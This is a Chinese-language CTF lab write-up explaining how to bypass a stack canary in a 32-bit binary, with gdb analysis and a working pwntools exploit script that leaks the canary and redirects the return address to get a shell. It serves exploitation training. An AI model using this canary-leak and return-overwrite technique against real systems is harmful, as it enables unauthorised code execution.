lab2-3

通过ida可以看到,main函数调用func函数,func函数里需要输入两次


image.png
image.png

进行checksec查看文件信息,可以看到是由canary的

image.png

然后进行gdb调试,调试中可以看到在两次输入完成后会验证栈中的一个地址是否改变,这个应该就是canary,如果改变就会出错,所以要确保这个地址的内容不会改变

image.png

我们可以找到这个栈的地址,虽然每次运行都会改变,但是不会影响分析。

在这次调试中可以看到存放canary的地址为0xffffcf2c。

我们也可以发现输入缓存区的地址,而且两次输入是在同一个缓存区,也就是第二次输入可以把第一次输入的内容覆盖。

image.png

此时输入缓存区地址为0xffffcf14

可以计算输入缓存区到canary的偏移量为0x18,也就是24个字节

输入24个‘a’进行简单测试,发现canary的值改变了,有点奇怪

image.png

进行gdb调试,发现换行符也进去了,所以把\x00覆盖了

image.png

现在思路就是:第一次输入先用24个‘a’填充,然后取得canary,第二次输入用获得canary在原来的canary处覆盖,继续覆盖,并在ret处覆盖成seeme的地址。

获取canary的值,由于canary最低为时\x00,需要用一个字符‘a’把他覆盖了,然后读取剩下的三个字符,再在后面拼上\x00,在第二次输入是就可以用上然后覆盖到ret处的值。

用python写了一个脚本

image.png

这处在右边拼的原因是存储方式是小端,低地址在低位,也就是低位在左边,但是返回的时候低地址是在右边,所以我们要在右边拼凑,然后转为大端模式,就是正常我们看到的那种,类型0x80……,然后发送的时候需要改为小端。

最后运行,成功拿到shell

image.png
from pwn import *
context.log_level = "debug"

shellcode=0x08048516
conn=process("./level2")

conn.recv()

s='a'*24

conn.send(s+'b')

conn.recvuntil("ab")

canary=u32(conn.recv(3).rjust(4,"\x00"))


conn.recv()
sc='a'*24+p32(canary)+'a'*12+p32(shellcode)

raw_input()
conn.send(sc)
conn.recv()


conn.interactive()

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。